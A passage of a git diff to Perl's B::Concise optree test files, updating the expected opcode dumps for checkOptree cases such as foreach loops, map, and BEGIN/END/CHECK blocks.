-# e <0> iter s -# f <|> and(other->8) vK/1 +# 7 <{> enteriter(next->e last->h redo->8) vKS/DEF +# f <0> iter s +# g <|> and(other->8) vK/1 # 8 <;> nextstate(main 1 -e:1) v:>,<,% # 9 <0> pushmark s -# a <$> gvsv(*_) s -# b <+> multiconcat("foo ",4,-1)[t4] sK/STRINGIFY -# c <@> print vK -# d <0> unstack v -# goto e -# g <2> leaveloop vK/2 -# h <@> leave[1 ref] vKP/REFC +# a <$> const(PV "foo ") s +# b <$> gvsv(*_) s +# c <2> concat[t3] sK/2 +# d <@> print vK +# e <0> unstack v +# goto f +# h <2> leaveloop vK/2 +# i <@> leave[1 ref] vKP/REFC EONT_EONT checkOptree ( name => '-exec sub { print "foo $_" foreach (1..10) }', @@ -380,34 +386,36 @@ checkOptree ( name => '-exec sub { print "foo $_" foreach (1..10) }', # 3 <$> const[IV 1] s # 4 <$> const[IV 10] s # 5 <#> gv[*_] s -# 6 <{> enteriter(next->b last->e redo->7) KS/DEF -# c <0> iter s -# d <|> and(other->7) K/1 +# 6 <{> enteriter(next->c last->f redo->7) KS/DEF +# d <0> iter s +# e <|> and(other->7) K/1 # 7 <0> pushmark s -# 8 <#> gvsv[*_] s -# 9 <+> multiconcat("foo ",4,-1)[t3] sK/STRINGIFY -# a <@> print vK -# b <0> unstack s -# goto c -# e <2> leaveloop K/2 -# f <1> leavesub[1 ref] K/REFC,1 +# 8 <$> const[PV "foo "] s +# 9 <#> gvsv[*_] s +# a <2> concat[t2] sK/2 +# b <@> print vK +# c <0> unstack s +# goto d +# f <2> leaveloop K/2 +# g <1> leavesub[1 ref] K/REFC,1 EOT_EOT # 1 <;> nextstate(main 447 optree_samples.t:252) v:>,<,% # 2 <0> pushmark s # 3 <$> const(IV 1) s # 4 <$> const(IV 10) s # 5 <$> gv(*_) s -# 6 <{> enteriter(next->b last->e redo->7) KS/DEF -# c <0> iter s -# d <|> and(other->7) K/1 +# 6 <{> enteriter(next->c last->f redo->7) KS/DEF +# d <0> iter s +# e <|> and(other->7) K/1 # 7 <0> pushmark s -# 8 <$> gvsv(*_) s -# 9 <+> multiconcat("foo ",4,-1)[t2] sK/STRINGIFY -# a <@> print vK -# b <0> unstack s -# goto c -# e <2> leaveloop K/2 -# f <1> leavesub[1 ref] K/REFC,1 +# 8 <$> const(PV "foo ") s +# 9 <$> gvsv(*_) s +# a <2> concat[t1] sK/2 +# b <@> print vK +# c <0> unstack s +# goto d +# f <2> leaveloop K/2 +# g <1> leavesub[1 ref] K/REFC,1 EONT_EONT pass("GREP: SAMPLES FROM PERLDOC -F GREP"); @@ -461,7 +469,8 @@ checkOptree ( name => '%h = map { getkey($_) => $_ } @a', # 3 <0> pushmark s # 4 <#> gv[*a] s # 5 <1> rv2av[t8] lKM/1 -# 6 <@> mapstart lK +# 6 <@> mapstart lK* < 5.017002 +# 6 <@> mapstart lK >=5.017002 # 7 <|> mapwhile(other->8)[t9] lK # 8 <0> enter l # 9 <;> nextstate(main 500 (eval 22):1) v:{ @@ -474,7 +483,8 @@ checkOptree ( name => '%h = map { getkey($_) => $_ } @a', # goto 7 # g <0> pushmark s # h <#> gv[*h] s -# i <1> rv2hv[t2] lKRM* +# i <1> rv2hv[t2] lKRM*/1 < 5.019006 +# i <1> rv2hv lKRM*/1 >=5.019006 # j <2> aassign[t10] KS/COM_AGG # k <1> leavesub[1 ref] K/REFC,1 EOT_EOT @@ -483,7 +493,8 @@ EOT_EOT # 3 <0> pushmark s # 4 <$> gv(*a) s # 5 <1> rv2av[t3] lKM/1 -# 6 <@> mapstart lK +# 6 <@> mapstart lK* < 5.017002 +# 6 <@> mapstart lK >=5.017002 # 7 <|> mapwhile(other->8)[t4] lK # 8 <0> enter l # 9 <;> nextstate(main 500 (eval 22):1) v:{ @@ -496,7 +507,8 @@ EOT_EOT # goto 7 # g <0> pushmark s # h <$> gv(*h) s -# i <1> rv2hv[t1] lKRM* +# i <1> rv2hv[t1] lKRM*/1 < 5.019006 +# i <1> rv2hv lKRM*/1 >=5.019006 # j <2> aassign[t5] KS/COM_AGG # k <1> leavesub[1 ref] K/REFC,1 EONT_EONT @@ -509,7 +521,8 @@ checkOptree ( name => '%h=(); for $_(@a){$h{getkey($_)} = $_}', # 2 <0> pushmark s # 3 <0> pushmark s # 4 <#> gv[*h] s -# 5 <1> rv2hv[t2] lKRM* +# 5 <1> rv2hv[t2] lKRM*/1 < 5.019006 +# 5 <1> rv2hv lKRM*/1 >=5.019006 # 6 <2> aassign[t3] vKS # 7 <;> nextstate(main 506 (eval 24):1) v:{ # 8 <0> pushmark sM @@ -523,7 +536,7 @@ checkOptree ( name => '%h=(); for $_(@a){$h{getkey($_)} = $_}', # e <;> nextstate(main 505 (eval 24):1) v:{ # f <#> gvsv[*_] s # g <#> gv[*h] s -# h <1> rv2hv sKR +# h <1> rv2hv sKR/1 # i <0> pushmark s # j <#> gvsv[*_] s # k <#> gv[*getkey] s/EARLYCV @@ -539,7 +552,8 @@ EOT_EOT # 2 <0> pushmark s # 3 <0> pushmark s # 4 <$> gv(*h) s -# 5 <1> rv2hv[t1] lKRM* +# 5 <1> rv2hv[t1] lKRM*/1 < 5.019006 +# 5 <1> rv2hv lKRM*/1 >=5.019006 # 6 <2> aassign[t2] vKS # 7 <;> nextstate(main 506 (eval 24):1) v:{ # 8 <0> pushmark sM @@ -553,7 +567,7 @@ EOT_EOT # e <;> nextstate(main 505 (eval 24):1) v:{ # f <$> gvsv(*_) s # g <$> gv(*h) s -# h <1> rv2hv sKR +# h <1> rv2hv sKR/1 # i <0> pushmark s # j <$> gvsv(*_) s # k <$> gv(*getkey) s/EARLYCV @@ -572,7 +586,7 @@ checkOptree ( name => 'map $_+42, 10..20', expect => <<'EOT_EOT', expect_nt => <<'EONT_EONT'); # 1 <;> nextstate(main 497 (eval 20):1) v # 2 <0> pushmark s -# 3 <$> const[AV ARRAY] s +# 3 <$> const[AV ] s # 4 <1> rv2av lKPM/1 # 5 <@> mapstart K # 6 <|> mapwhile(other->7)[t5] K @@ -584,7 +598,7 @@ checkOptree ( name => 'map $_+42, 10..20', EOT_EOT # 1 <;> nextstate(main 511 (eval 26):1) v # 2 <0> pushmark s -# 3 <$> const(AV ARRAY) s +# 3 <$> const(AV ) s # 4 <1> rv2av lKPM/1 # 5 <@> mapstart K # 6 <|> mapwhile(other->7)[t4] K @@ -605,14 +619,16 @@ checkOptree ( name => '-e use constant j => qq{junk}; print j', # 1 <0> enter # 2 <;> nextstate(main 71 -e:1) v:>,<,%,{ # 3 <0> pushmark s -# 4 <$> const[PV "junk"] s*/FOLD +# 4 <$> const[PV "junk"] s* < 5.017002 +# 4 <$> const[PV "junk"] s*/FOLD >=5.017002 # 5 <@> print vK # 6 <@> leave[1 ref] vKP/REFC EOT_EOT # 1 <0> enter # 2 <;> nextstate(main 71 -e:1) v:>,<,%,{ # 3 <0> pushmark s -# 4 <$> const(PV "junk") s*/FOLD +# 4 <$> const(PV "junk") s* < 5.017002 +# 4 <$> const(PV "junk") s*/FOLD >=5.017002 # 5 <@> print vK # 6 <@> leave[1 ref] vKP/REFC EONT_EONT diff --git a/ext/B/t/optree_specials.t b/ext/B/t/optree_specials.t index 96e430e30303..83ea44e52dba 100644 --- a/ext/B/t/optree_specials.t +++ b/ext/B/t/optree_specials.t @@ -6,12 +6,6 @@ # output is matched losely. If the match fails even though the "got" and # "expected" output look exactly the same, then watch for trailing, invisible # spaces. -# -# Note that if this test is mysteriously failing smokes and is hard to -# reproduce, try running with LC_ALL=en_US.UTF-8 PERL_UNICODE="". -# This causes nextstate ops to have a bunch of extra hint info, which -# needs adding to the expected output (for both thraded and non-threaded -# versions) BEGIN { unshift @INC, 't'; @@ -45,183 +39,108 @@ checkOptree ( name => 'BEGIN', prog => $src, strip_open_hints => 1, expect => <<'EOT_EOT', expect_nt => <<'EONT_EONT'); -# - <@> lineseq KP ->7 -# 1 <;> nextstate(B::Concise -1151 Concise.pm:116) v:*,&,{,x*,x&,x$,$ ->2 -# 6 <2> sassign sKS/2 ->7 -# 4 <1> srefgen sK/1 ->5 -# - <1> ex-list lKRM ->4 -# 3 <1> rv2gv sKRM/STRICT,1 ->4 -# 2 <#> gv[*STDOUT] s ->3 -# - <1> ex-rv2sv sKRM*/STRICT,1 ->6 -# 5 <#> gvsv[*B::Concise::walkHandle] s ->6 +# BEGIN 1: +# a <1> leavesub[1 ref] K/REFC,1 ->(end) +# - <@> lineseq KP ->a +# 1 <;> nextstate(B::Concise -275 Concise.pm:356) v:*,&,{,x*,x&,x$,$ ->2 +# 3 <1> require sK/1 ->4 +# 2 <$> const[PV "strict.pm"] s/BARE ->3 +# - <;> ex-nextstate(B::Concise -837 Concise.pm:366) v:*,&,{,x*,x&,x$,$ ->4 +# - <@> lineseq K ->- +# 4 <;> nextstate(B::Concise -275 Concise.pm:356) :*,&,{,x*,x&,x$,$ ->5 +# 9 <1> entersub[t1] KRS*/TARG,STRICT ->a +# 5 <0> pushmark s ->6 +# 6 <$> const[PV "strict"] sM ->7 +# 7 <$> const[PV "refs"] sM ->8 +# 8 <.> method_named[PV "unimport"] ->9 # BEGIN 2: -# h <1> leavesub[1 ref] K/REFC,1 ->(end) -# - <@> lineseq K ->h -# 8 <;> nextstate(B::Concise -1113 Concise.pm:181) v:*,&,x*,x&,x$,$ ->9 -# a <1> require sK/1 ->b -# 9 <$> const[PV "strict.pm"] s/BARE ->a -# - <;> ex-nextstate(B::Concise -1113 Concise.pm:181) v:*,&,x*,x&,x$,$ ->b +# k <1> leavesub[1 ref] K/REFC,1 ->(end) +# - <@> lineseq K ->k +# b <;> nextstate(B::Concise -265 Concise.pm:367) v:*,&,x*,x&,x$,$ ->c +# d <1> require sK/1 ->e +# c <$> const[PV "strict.pm"] s/BARE ->d +# - <;> ex-nextstate(B::Concise -812 Concise.pm:386) v:*,&,x*,x&,x$,$ ->e # - <@> lineseq K ->- -# b <;> nextstate(B::Concise -1113 Concise.pm:181) :*,&,x*,x&,x$,$ ->c -# g <1> entersub[t1] KRS*/TARG,STRICT ->h -# c <0> pushmark s ->d -# d <$> const[PV "strict"] sM ->e -# e <$> const[PV "refs"] sM ->f -# f <.> method_named[PV "unimport"] ->g +# e <;> nextstate(B::Concise -265 Concise.pm:367) :*,&,x*,x&,x$,$ ->f +# j <1> entersub[t1] KRS*/TARG,STRICT ->k +# f <0> pushmark s ->g +# g <$> const[PV "strict"] sM ->h +# h <$> const[PV "refs"] sM ->i +# i <.> method_named[PV "unimport"] ->j # BEGIN 3: -# r <1> leavesub[1 ref] K/REFC,1 ->(end) -# - <@> lineseq K ->r -# i <;> nextstate(B::Concise -1010 Concise.pm:303) v:*,&,x*,x&,x$,$ ->j -# k <1> require sK/1 ->l -# j <$> const[PV "strict.pm"] s/BARE ->k -# - <;> ex-nextstate(B::Concise -1010 Concise.pm:303) v:*,&,x*,x&,x$,$ ->l +# u <1> leavesub[1 ref] K/REFC,1 ->(end) +# - <@> lineseq KP ->u +# l <;> nextstate(B::Concise -254 Concise.pm:386) v:*,&,{,x*,x&,x$,$ ->m +# n <1> require sK/1 ->o +# m <$> const[PV "warnings.pm"] s/BARE ->n +# - <;> ex-nextstate(B::Concise -798 Concise.pm:406) v:*,&,{,x*,x&,x$,$ ->o # - <@> lineseq K ->- -# l <;> nextstate(B::Concise -1010 Concise.pm:303) :*,&,x*,x&,x$,$ ->m -# q <1> entersub[t1] KRS*/TARG,STRICT ->r -# m <0> pushmark s ->n -# n <$> const[PV "strict"] sM ->o -# o <$> const[PV "refs"] sM ->p -# p <.> method_named[PV "unimport"] ->q +# o <;> nextstate(B::Concise -254 Concise.pm:386) :*,&,{,x*,x&,x$,$ ->p +# t <1> entersub[t1] KRS*/TARG,STRICT ->u +# p <0> pushmark s ->q +# q <$> const[PV "warnings"] sM ->r +# r <$> const[PV "qw"] sM ->s +# s <.> method_named[PV "unimport"] ->t # BEGIN 4: -# 11 <1> leavesub[1 ref] K/REFC,1 ->(end) -# - <@> lineseq KP ->11 -# s <;> nextstate(B::Concise -963 Concise.pm:368) v:*,&,{,x*,x&,x$,$ ->t -# u <1> require sK/1 ->v -# t <$> const[PV "strict.pm"] s/BARE ->u -# - <;> ex-nextstate(B::Concise -963 Concise.pm:368) v:*,&,{,x*,x&,x$,$ ->v -# - <@> lineseq K ->- -# v <;> nextstate(B::Concise -963 Concise.pm:368) :*,&,{,x*,x&,x$,$ ->w -# 10 <1> entersub[t1] KRS*/TARG,STRICT ->11 -# w <0> pushmark s ->x -# x <$> const[PV "strict"] sM ->y -# y <$> const[PV "refs"] sM ->z -# z <.> method_named[PV "unimport"] ->10 -# BEGIN 5: -# 1b <1> leavesub[1 ref] K/REFC,1 ->(end) -# - <@> lineseq K ->1b -# 12 <;> nextstate(B::Concise -938 Concise.pm:388) v:*,&,x*,x&,x$,$ ->13 -# 14 <1> require sK/1 ->15 -# 13 <$> const[PV "strict.pm"] s/BARE ->14 -# - <;> ex-nextstate(B::Concise -938 Concise.pm:388) v:*,&,x*,x&,x$,$ ->15 -# - <@> lineseq K ->- -# 15 <;> nextstate(B::Concise -938 Concise.pm:388) :*,&,x*,x&,x$,$ ->16 -# 1a <1> entersub[t1] KRS*/TARG,STRICT ->1b -# 16 <0> pushmark s ->17 -# 17 <$> const[PV "strict"] sM ->18 -# 18 <$> const[PV "refs"] sM ->19 -# 19 <.> method_named[PV "unimport"] ->1a -# BEGIN 6: -# 1l <1> leavesub[1 ref] K/REFC,1 ->(end) -# - <@> lineseq KP ->1l -# 1c <;> nextstate(B::Concise -924 Concise.pm:408) v:*,&,{,x*,x&,x$,$ ->1d -# 1e <1> require sK/1 ->1f -# 1d <$> const[PV "warnings.pm"] s/BARE ->1e -# - <;> ex-nextstate(B::Concise -924 Concise.pm:408) v:*,&,{,x*,x&,x$,$ ->1f -# - <@> lineseq K ->- -# 1f <;> nextstate(B::Concise -924 Concise.pm:408) :*,&,{,x*,x&,x$,$ ->1g -# 1k <1> entersub[t1] KRS*/TARG,STRICT ->1l -# 1g <0> pushmark s ->1h -# 1h <$> const[PV "warnings"] sM ->1i -# 1i <$> const[PV "qw"] sM ->1j -# 1j <.> method_named[PV "unimport"] ->1k -# BEGIN 7: -# 1p <1> leavesub[1 ref] K/REFC,1 ->(end) -# - <@> lineseq KP ->1p -# 1m <;> nextstate(main 3 -e:1) v:>,<,%,{ ->1n -# 1o <1> postinc[t3] sK/1 ->1p -# - <1> ex-rv2sv sKRM/1 ->1o -# 1n <#> gvsv[*beg] s ->1o +# y <1> leavesub[1 ref] K/REFC,1 ->(end) +# - <@> lineseq KP ->y +# v <;> nextstate(main 2 -e:1) v:>,<,%,{ ->w +# x <1> postinc[t3] sK/1 ->y +# - <1> ex-rv2sv sKRM/1 ->x +# w <#> gvsv[*beg] s ->x EOT_EOT # BEGIN 1: -# 7 <1> leavesub[1 ref] K/REFC,1 ->(end) -# - <@> lineseq KP ->7 -# 1 <;> nextstate(B::Concise -1151 Concise.pm:116) v:*,&,{,x*,x&,x$,$ ->2 -# 6 <2> sassign sKS/2 ->7 -# 4 <1> srefgen sK/1 ->5 -# - <1> ex-list lKRM ->4 -# 3 <1> rv2gv sKRM/STRICT,1 ->4 -# 2 <$> gv(*STDOUT) s ->3 -# - <1> ex-rv2sv sKRM*/STRICT,1 ->6 -# 5 <$> gvsv(*B::Concise::walkHandle) s ->6 +# a <1> leavesub[1 ref] K/REFC,1 ->(end) +# - <@> lineseq KP ->a +# 1 <;> nextstate(B::Concise -275 Concise.pm:356) v:*,&,{,x*,x&,x$,$ ->2 +# 3 <1> require sK/1 ->4 +# 2 <$> const(PV "strict.pm") s/BARE ->3 +# - <;> ex-nextstate(B::Concise -837 Concise.pm:366) v:*,&,{,x*,x&,x$,$ ->4 +# - <@> lineseq K ->- +# 4 <;> nextstate(B::Concise -275 Concise.pm:356) :*,&,{,x*,x&,x$,$ ->5 +# 9 <1> entersub[t1] KRS*/TARG,STRICT ->a +# 5 <0> pushmark s ->6 +# 6 <$> const(PV "strict") sM ->7 +# 7 <$> const(PV "refs") sM ->8 +# 8 <.> method_named(PV "unimport") ->9 # BEGIN 2: -# h <1> leavesub[1 ref] K/REFC,1 ->(end) -# - <@> lineseq K ->h -# 8 <;> nextstate(B::Concise -1113 Concise.pm:181) v:*,&,x*,x&,x$,$ ->9 -# a <1> require sK/1 ->b -# 9 <$> const(PV "strict.pm") s/BARE ->a -# - <;> ex-nextstate(B::Concise -1113 Concise.pm:181) v:*,&,x*,x&,x$,$ ->b +# k <1> leavesub[1 ref] K/REFC,1 ->(end) +# - <@> lineseq K ->k +# b <;> nextstate(B::Concise -265 Concise.pm:367) v:*,&,x*,x&,x$,$ ->c +# d <1> require sK/1 ->e +# c <$> const(PV "strict.pm") s/BARE ->d +# - <;> ex-nextstate(B::Concise -812 Concise.pm:386) v:*,&,x*,x&,x$,$ ->e # - <@> lineseq K ->- -# b <;> nextstate(B::Concise -1113 Concise.pm:181) :*,&,x*,x&,x$,$ ->c -# g <1> entersub[t1] KRS*/TARG,STRICT ->h -# c <0> pushmark s ->d -# d <$> const(PV "strict") sM ->e -# e <$> const(PV "refs") sM ->f -# f <.> method_named(PV "unimport") ->g +# e <;> nextstate(B::Concise -265 Concise.pm:367) :*,&,x*,x&,x$,$ ->f +# j <1> entersub[t1] KRS*/TARG,STRICT ->k +# f <0> pushmark s ->g +# g <$> const(PV "strict") sM ->h +# h <$> const(PV "refs") sM ->i +# i <.> method_named(PV "unimport") ->j # BEGIN 3: -# r <1> leavesub[1 ref] K/REFC,1 ->(end) -# - <@> lineseq K ->r -# i <;> nextstate(B::Concise -1010 Concise.pm:303) v:*,&,x*,x&,x$,$ ->j -# k <1> require sK/1 ->l -# j <$> const(PV "strict.pm") s/BARE ->k -# - <;> ex-nextstate(B::Concise -1010 Concise.pm:303) v:*,&,x*,x&,x$,$ ->l +# u <1> leavesub[1 ref] K/REFC,1 ->(end) +# - <@> lineseq KP ->u +# l <;> nextstate(B::Concise -254 Concise.pm:386) v:*,&,{,x*,x&,x$,$ ->m +# n <1> require sK/1 ->o +# m <$> const(PV "warnings.pm") s/BARE ->n +# - <;> ex-nextstate(B::Concise -798 Concise.pm:406) v:*,&,{,x*,x&,x$,$ ->o # - <@> lineseq K ->- -# l <;> nextstate(B::Concise -1010 Concise.pm:303) :*,&,x*,x&,x$,$ ->m -# q <1> entersub[t1] KRS*/TARG,STRICT ->r -# m <0> pushmark s ->n -# n <$> const(PV "strict") sM ->o -# o <$> const(PV "refs") sM ->p -# p <.> method_named(PV "unimport") ->q +# o <;> nextstate(B::Concise -254 Concise.pm:386) :*,&,{,x*,x&,x$,$ ->p +# t <1> entersub[t1] KRS*/TARG,STRICT ->u +# p <0> pushmark s ->q +# q <$> const(PV "warnings") sM ->r +# r <$> const(PV "qw") sM ->s +# s <.> method_named(PV "unimport") ->t # BEGIN 4: -# 11 <1> leavesub[1 ref] K/REFC,1 ->(end) -# - <@> lineseq KP ->11 -# s <;> nextstate(B::Concise -963 Concise.pm:368) v:*,&,{,x*,x&,x$,$ ->t -# u <1> require sK/1 ->v -# t <$> const(PV "strict.pm") s/BARE ->u -# - <;> ex-nextstate(B::Concise -963 Concise.pm:368) v:*,&,{,x*,x&,x$,$ ->v -# - <@> lineseq K ->- -# v <;> nextstate(B::Concise -963 Concise.pm:368) :*,&,{,x*,x&,x$,$ ->w -# 10 <1> entersub[t1] KRS*/TARG,STRICT ->11 -# w <0> pushmark s ->x -# x <$> const(PV "strict") sM ->y -# y <$> const(PV "refs") sM ->z -# z <.> method_named(PV "unimport") ->10 -# BEGIN 5: -# 1b <1> leavesub[1 ref] K/REFC,1 ->(end) -# - <@> lineseq K ->1b -# 12 <;> nextstate(B::Concise -938 Concise.pm:388) v:*,&,x*,x&,x$,$ ->13 -# 14 <1> require sK/1 ->15 -# 13 <$> const(PV "strict.pm") s/BARE ->14 -# - <;> ex-nextstate(B::Concise -938 Concise.pm:388) v:*,&,x*,x&,x$,$ ->15 -# - <@> lineseq K ->- -# 15 <;> nextstate(B::Concise -938 Concise.pm:388) :*,&,x*,x&,x$,$ ->16 -# 1a <1> entersub[t1] KRS*/TARG,STRICT ->1b -# 16 <0> pushmark s ->17 -# 17 <$> const(PV "strict") sM ->18 -# 18 <$> const(PV "refs") sM ->19 -# 19 <.> method_named(PV "unimport") ->1a -# BEGIN 6: -# 1l <1> leavesub[1 ref] K/REFC,1 ->(end) -# - <@> lineseq KP ->1l -# 1c <;> nextstate(B::Concise -924 Concise.pm:408) v:*,&,{,x*,x&,x$,$ ->1d -# 1e <1> require sK/1 ->1f -# 1d <$> const(PV "warnings.pm") s/BARE ->1e -# - <;> ex-nextstate(B::Concise -924 Concise.pm:408) v:*,&,{,x*,x&,x$,$ ->1f -# - <@> lineseq K ->- -# 1f <;> nextstate(B::Concise -924 Concise.pm:408) :*,&,{,x*,x&,x$,$ ->1g -# 1k <1> entersub[t1] KRS*/TARG,STRICT ->1l -# 1g <0> pushmark s ->1h -# 1h <$> const(PV "warnings") sM ->1i -# 1i <$> const(PV "qw") sM ->1j -# 1j <.> method_named(PV "unimport") ->1k -# BEGIN 7: -# 1p <1> leavesub[1 ref] K/REFC,1 ->(end) -# - <@> lineseq KP ->1p -# 1m <;> nextstate(main 3 -e:1) v:>,<,%,{ ->1n -# 1o <1> postinc[t2] sK/1 ->1p -# - <1> ex-rv2sv sKRM/1 ->1o -# 1n <$> gvsv(*beg) s ->1o +# y <1> leavesub[1 ref] K/REFC,1 ->(end) +# - <@> lineseq KP ->y +# v <;> nextstate(main 2 -e:1) v:>,<,%,{ ->w +# x <1> postinc[t2] sK/1 ->y +# - <1> ex-rv2sv sKRM/1 ->x +# w <$> gvsv(*beg) s ->x EONT_EONT + checkOptree ( name => 'END', bcopts => 'END', prog => $src, @@ -244,6 +163,7 @@ EOT_EOT # 2 <$> gvsv(*end) s ->3 EONT_EONT + checkOptree ( name => 'CHECK', bcopts => 'CHECK', prog => $src, @@ -311,321 +231,205 @@ EOT_EOT # 2 <$> gvsv(*init) s ->3 EONT_EONT + checkOptree ( name => 'all of BEGIN END INIT CHECK UNITCHECK -exec', bcopts => [qw/ BEGIN END INIT CHECK UNITCHECK -exec /], prog => $src, strip_open_hints => 1, expect => <<'EOT_EOT', expect_nt => <<'EONT_EONT'); # BEGIN 1: -# 1 <;> nextstate(B::Concise -1151 Concise.pm:116) v:*,&,{,x*,x&,x$,$ -# 2 <#> gv[*STDOUT] s -# 3 <1> rv2gv sKRM/STRICT,1 -# 4 <1> srefgen sK/1 -# 5 <#> gvsv[*B::Concise::walkHandle] s -# 6 <2> sassign sKS/2 -# 7 <1> leavesub[1 ref] K/REFC,1 +# 1 <;> nextstate(B::Concise -275 Concise.pm:356) v:*,&,{,x*,x&,x$,$ +# 2 <$> const[PV "strict.pm"] s/BARE +# 3 <1> require sK/1 +# 4 <;> nextstate(B::Concise -275 Concise.pm:356) :*,&,{,x*,x&,x$,$ +# 5 <0> pushmark s +# 6 <$> const[PV "strict"] sM +# 7 <$> const[PV "refs"] sM +# 8 <.> method_named[PV "unimport"] +# 9 <1> entersub[t1] KRS*/TARG,STRICT +# a <1> leavesub[1 ref] K/REFC,1 # BEGIN 2: -# 8 <;> nextstate(B::Concise -1113 Concise.pm:181) v:*,&,x*,x&,x$,$ -# 9 <$> const[PV "strict.pm"] s/BARE -# a <1> require sK/1 -# b <;> nextstate(B::Concise -1113 Concise.pm:181) :*,&,x*,x&,x$,$ -# c <0> pushmark s -# d <$> const[PV "strict"] sM -# e <$> const[PV "refs"] sM -# f <.> method_named[PV "unimport"] -# g <1> entersub[t1] KRS*/TARG,STRICT -# h <1> leavesub[1 ref] K/REFC,1 +# b <;> nextstate(B::Concise -265 Concise.pm:367) v:*,&,x*,x&,x$,$ +# c <$> const[PV "strict.pm"] s/BARE +# d <1> require sK/1 +# e <;> nextstate(B::Concise -265 Concise.pm:367) :*,&,x*,x&,x$,$ +# f <0> pushmark s +# g <$> const[PV "strict"] sM +# h <$> const[PV "refs"] sM +# i <.> method_named[PV "unimport"] +# j <1> entersub[t1] KRS*/TARG,STRICT +# k <1> leavesub[1 ref] K/REFC,1 # BEGIN 3: -# i <;> nextstate(B::Concise -1010 Concise.pm:303) v:*,&,x*,x&,x$,$ -# j <$> const[PV "strict.pm"] s/BARE -# k <1> require sK/1 -# l <;> nextstate(B::Concise -1010 Concise.pm:303) :*,&,x*,x&,x$,$ -# m <0> pushmark s -# n <$> const[PV "strict"] sM -# o <$> const[PV "refs"] sM -# p <.> method_named[PV "unimport"] -# q <1> entersub[t1] KRS*/TARG,STRICT -# r <1> leavesub[1 ref] K/REFC,1 +# l <;> nextstate(B::Concise -254 Concise.pm:386) v:*,&,{,x*,x&,x$,$ +# m <$> const[PV "warnings.pm"] s/BARE +# n <1> require sK/1 +# o <;> nextstate(B::Concise -254 Concise.pm:386) :*,&,{,x*,x&,x$,$ +# p <0> pushmark s +# q <$> const[PV "warnings"] sM +# r <$> const[PV "qw"] sM +# s <.> method_named[PV "unimport"] +# t <1> entersub[t1] KRS*/TARG,STRICT +# u <1> leavesub[1 ref] K/REFC,1 # BEGIN 4: -# s <;> nextstate(B::Concise -963 Concise.pm:368) v:*,&,{,x*,x&,x$,$ -# t <$> const[PV "strict.pm"] s/BARE -# u <1> require sK/1 -# v <;> nextstate(B::Concise -963 Concise.pm:368) :*,&,{,x*,x&,x$,$ -# w <0> pushmark s -# x <$> const[PV "strict"] sM -# y <$> const[PV "refs"] sM -# z <.> method_named[PV "unimport"] -# 10 <1> entersub[t1] KRS*/TARG,STRICT -# 11 <1> leavesub[1 ref] K/REFC,1 -# BEGIN 5: -# 12 <;> nextstate(B::Concise -938 Concise.pm:388) v:*,&,x*,x&,x$,$ -# 13 <$> const[PV "strict.pm"] s/BARE -# 14 <1> require sK/1 -# 15 <;> nextstate(B::Concise -938 Concise.pm:388) :*,&,x*,x&,x$,$ -# 16 <0> pushmark s -# 17 <$> const[PV "strict"] sM -# 18 <$> const[PV "refs"] sM -# 19 <.> method_named[PV "unimport"] -# 1a <1> entersub[t1] KRS*/TARG,STRICT -# 1b <1> leavesub[1 ref] K/REFC,1 -# BEGIN 6: -# 1c <;> nextstate(B::Concise -924 Concise.pm:408) v:*,&,{,x*,x&,x$,$ -# 1d <$> const[PV "warnings.pm"] s/BARE -# 1e <1> require sK/1 -# 1f <;> nextstate(B::Concise -924 Concise.pm:408) :*,&,{,x*,x&,x$,$ -# 1g <0> pushmark s -# 1h <$> const[PV "warnings"] sM -# 1i <$> const[PV "qw"] sM -# 1j <.> method_named[PV "unimport"] -# 1k <1> entersub[t1] KRS*/TARG,STRICT -# 1l <1> leavesub[1 ref] K/REFC,1 -# BEGIN 7: -# 1m <;> nextstate(main 3 -e:1) v:>,<,%,{ -# 1n <#> gvsv[*beg] s -# 1o <1> postinc[t3] sK/1 -# 1p <1> leavesub[1 ref] K/REFC,1 +# v <;> nextstate(main 2 -e:1) v:>,<,%,{ +# w <#> gvsv[*beg] s +# x <1> postinc[t3] sK/1 +# y <1> leavesub[1 ref] K/REFC,1 # END 1: -# 1q <;> nextstate(main 9 -e:1) v:>,<,%,{ -# 1r <#> gvsv[*end] s -# 1s <1> postinc[t3] sK/1 -# 1t <1> leavesub[1 ref] K/REFC,1 +# z <;> nextstate(main 5 -e:1) v:>,<,%,{ +# 10 <#> gvsv[*end] s +# 11 <1> postinc[t3] sK/1 +# 12 <1> leavesub[1 ref] K/REFC,1 # INIT 1: -# 1u <;> nextstate(main 7 -e:1) v:>,<,%,{ -# 1v <#> gvsv[*init] s -# 1w <1> postinc[t3] sK/1 -# 1x <1> leavesub[1 ref] K/REFC,1 +# 13 <;> nextstate(main 4 -e:1) v:>,<,%,{ +# 14 <#> gvsv[*init] s +# 15 <1> postinc[t3] sK/1 +# 16 <1> leavesub[1 ref] K/REFC,1 # CHECK 1: -# 1y <;> nextstate(main 5 -e:1) v:>,<,%,{ -# 1z <#> gvsv[*chk] s -# 20 <1> postinc[t3] sK/1 -# 21 <1> leavesub[1 ref] K/REFC,1 +# 17 <;> nextstate(main 3 -e:1) v:>,<,%,{ +# 18 <#> gvsv[*chk] s +# 19 <1> postinc[t3] sK/1 +# 1a <1> leavesub[1 ref] K/REFC,1 # UNITCHECK 1: -# 22 <;> nextstate(main 11 -e:1) v:>,<,%,{ -# 23 <#> gvsv[*uc] s -# 24 <1> postinc[t3] sK/1 -# 25 <1> leavesub[1 ref] K/REFC,1 +# 1b <;> nextstate(main 6 -e:1) v:>,<,%,{ +# 1c <#> gvsv[*uc] s +# 1d <1> postinc[t3] sK/1 +# 1e <1> leavesub[1 ref] K/REFC,1 EOT_EOT # BEGIN 1: -# 1 <;> nextstate(B::Concise -1151 Concise.pm:116) v:*,&,{,x*,x&,x$,$ -# 2 <$> gv(*STDOUT) s -# 3 <1> rv2gv sKRM/STRICT,1 -# 4 <1> srefgen sK/1 -# 5 <$> gvsv(*B::Concise::walkHandle) s -# 6 <2> sassign sKS/2 -# 7 <1> leavesub[1 ref] K/REFC,1 +# 1 <;> nextstate(B::Concise -275 Concise.pm:356) v:*,&,{,x*,x&,x$,$ +# 2 <$> const(PV "strict.pm") s/BARE +# 3 <1> require sK/1 +# 4 <;> nextstate(B::Concise -275 Concise.pm:356) :*,&,{,x*,x&,x$,$ +# 5 <0> pushmark s +# 6 <$> const(PV "strict") sM +# 7 <$> const(PV "refs") sM +# 8 <.> method_named(PV "unimport") +# 9 <1> entersub[t1] KRS*/TARG,STRICT +# a <1> leavesub[1 ref] K/REFC,1 # BEGIN 2: -# 8 <;> nextstate(B::Concise -1113 Concise.pm:181) v:*,&,x*,x&,x$,$ -# 9 <$> 